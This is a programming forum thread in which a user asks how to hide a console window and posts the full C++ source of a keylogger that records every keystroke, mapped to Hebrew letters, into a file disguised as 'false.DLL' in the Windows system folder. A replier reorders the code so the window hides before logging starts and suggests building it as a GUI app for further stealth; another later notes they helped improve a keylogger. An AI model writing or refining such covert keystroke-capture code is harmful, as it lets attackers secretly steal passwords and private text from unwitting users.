How can i hide the dos window ?

Will this do?

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <iostream>

int main() {
  ShowWindow( GetConsoleWindow(), SW_HIDE );
  std::cin.ignore();
}

Will this do?

No, you must use the GUI subsystem.

commented: Shut it. -1
commented: Useless post. -1

No, you must use the GUI subsystem.

Was I asking you?

commented: Humour and tactful knowledge at a time...!!! +1

No i still see it...
Full source:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#define _WIN32_WINNT 0x0500

int Save (int key_stroke, char *file);

int main(){
	char i;

	while (1){
		for (i = 8; i <= 250; i++){
			if (GetAsyncKeyState(i) == -32767)
				Save(i, "C:\\Windows\\System32\\dos\\false.DLL");
		}
	}
	ShowWindow( GetConsoleWindow(), SW_HIDE );
	std::cin.ignore();
	system("PAUSE");
	return 0;
}
/* **************************************** */
int Save (int key_stroke, char *file){
	 if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	cout << key_stroke << endl;

	if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[מחיקה]");
	else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n");
	else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ");
	else if (key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[טאב]");
	else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[שיפט]");
	else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[קונטרול]");
	else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[יציאה]");
	else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
	else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
	else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".");
	else if (key_stroke == 84)
		fprintf(OUTPUT_FILE, "%s", "א");
	else if (key_stroke == 67)
		fprintf(OUTPUT_FILE, "%s", "ב");
	else if (key_stroke == 68)
		fprintf(OUTPUT_FILE, "%s", "ג");
	else if (key_stroke == 83)
		fprintf(OUTPUT_FILE, "%s", "ד");
	else if (key_stroke == 86)
		fprintf(OUTPUT_FILE, "%s", "ה");
	else if (key_stroke == 85)
		fprintf(OUTPUT_FILE, "%s", "ו");
	else if (key_stroke == 90)
		fprintf(OUTPUT_FILE, "%s", "ז");
	else if (key_stroke == 74)
		fprintf(OUTPUT_FILE, "%s", "ח");
	else if (key_stroke == 89)
		fprintf(OUTPUT_FILE, "%s", "ט");
	else if (key_stroke == 72)
		fprintf(OUTPUT_FILE, "%s", "י");
	else if (key_stroke == 70)
		fprintf(OUTPUT_FILE, "%s", "כ");
	else if (key_stroke == 75)
		fprintf(OUTPUT_FILE, "%s", "ל");
	else if (key_stroke == 78)
		fprintf(OUTPUT_FILE, "%s", "מ");
	else if (key_stroke == 66)
		fprintf(OUTPUT_FILE, "%s", "נ");
	else if (key_stroke == 88)
		fprintf(OUTPUT_FILE, "%s", "ס");
	else if (key_stroke == 71)
		fprintf(OUTPUT_FILE, "%s", "ע");
	else if (key_stroke == 80)
		fprintf(OUTPUT_FILE, "%s", "פ");
	else if (key_stroke == 77)
		fprintf(OUTPUT_FILE, "%s", "צ");
	else if (key_stroke == 69)
		fprintf(OUTPUT_FILE, "%s", "ק");
	else if (key_stroke == 82)
		fprintf(OUTPUT_FILE, "%s", "ר");
	else if (key_stroke == 65)
		fprintf(OUTPUT_FILE, "%s", "ש");
	else if (key_stroke == 250)
		fprintf(OUTPUT_FILE, "%s", "ת");
	else if (key_stroke == 79)
		fprintf(OUTPUT_FILE, "%s", "ם");
	else if(key_stroke == 33)
		fprintf(OUTPUT_FILE, "%s", "!");
	else
		fprintf(OUTPUT_FILE, "%s", &key_stroke);

	fclose(OUTPUT_FILE);
	return 0;
}

You put the statements in the wrong order, my code is correct.

#include <iostream>
using namespace std;
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main(){
	ShowWindow( GetConsoleWindow(), SW_HIDE );
	char i;

	while (1){
		for (i = 8; i <= 250; i++){
			if (GetAsyncKeyState(i) == -32767)
				Save(i, "C:\\Windows\\System32\\dos\\false.DLL");
		}
	}
	std::cin.ignore();
	system("PAUSE");
	return 0;
}
/* **************************************** */
int Save (int key_stroke, char *file){
	 if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	cout << key_stroke << endl;

	if (key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s", "[מחיקה]");
	else if (key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s", "\n");
	else if (key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s", " ");
	else if (key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[טאב]");
	else if (key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[שיפט]");
	else if (key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s", "[קונטרול]");
	else if (key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[יציאה]");
	else if (key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s", "[END]");
	else if (key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s", "[HOME]");
	else if (key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	else if (key_stroke == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
	else if (key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	else if (key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	else if (key_stroke == 190 || key_stroke == 110)
		fprintf(OUTPUT_FILE, "%s", ".");
	else if (key_stroke == 84)
		fprintf(OUTPUT_FILE, "%s", "א");
	else if (key_stroke == 67)
		fprintf(OUTPUT_FILE, "%s", "ב");
	else if (key_stroke == 68)
		fprintf(OUTPUT_FILE, "%s", "ג");
	else if (key_stroke == 83)
		fprintf(OUTPUT_FILE, "%s", "ד");
	else if (key_stroke == 86)
		fprintf(OUTPUT_FILE, "%s", "ה");
	else if (key_stroke == 85)
		fprintf(OUTPUT_FILE, "%s", "ו");
	else if (key_stroke == 90)
		fprintf(OUTPUT_FILE, "%s", "ז");
	else if (key_stroke == 74)
		fprintf(OUTPUT_FILE, "%s", "ח");
	else if (key_stroke == 89)
		fprintf(OUTPUT_FILE, "%s", "ט");
	else if (key_stroke == 72)
		fprintf(OUTPUT_FILE, "%s", "י");
	else if (key_stroke == 70)
		fprintf(OUTPUT_FILE, "%s", "כ");
	else if (key_stroke == 75)
		fprintf(OUTPUT_FILE, "%s", "ל");
	else if (key_stroke == 78)
		fprintf(OUTPUT_FILE, "%s", "מ");
	else if (key_stroke == 66)
		fprintf(OUTPUT_FILE, "%s", "נ");
	else if (key_stroke == 88)
		fprintf(OUTPUT_FILE, "%s", "ס");
	else if (key_stroke == 71)
		fprintf(OUTPUT_FILE, "%s", "ע");
	else if (key_stroke == 80)
		fprintf(OUTPUT_FILE, "%s", "פ");
	else if (key_stroke == 77)
		fprintf(OUTPUT_FILE, "%s", "צ");
	else if (key_stroke == 69)
		fprintf(OUTPUT_FILE, "%s", "ק");
	else if (key_stroke == 82)
		fprintf(OUTPUT_FILE, "%s", "ר");
	else if (key_stroke == 65)
		fprintf(OUTPUT_FILE, "%s", "ש");
	else if (key_stroke == 250)
		fprintf(OUTPUT_FILE, "%s", "ת");
	else if (key_stroke == 79)
		fprintf(OUTPUT_FILE, "%s", "ם");
	else if(key_stroke == 33)
		fprintf(OUTPUT_FILE, "%s", "!");
	else
		fprintf(OUTPUT_FILE, "%s", &key_stroke);

	fclose(OUTPUT_FILE);
	return 0;
}

Oh you right!
Thanks alot!

Alternatively, you can compile the program as a Windows application, and use int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) instead of int main()

Ahh crap, I read your code, I just helped you improve a keylogger.
Luckily, it's one of bad quality which wont do any harm.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.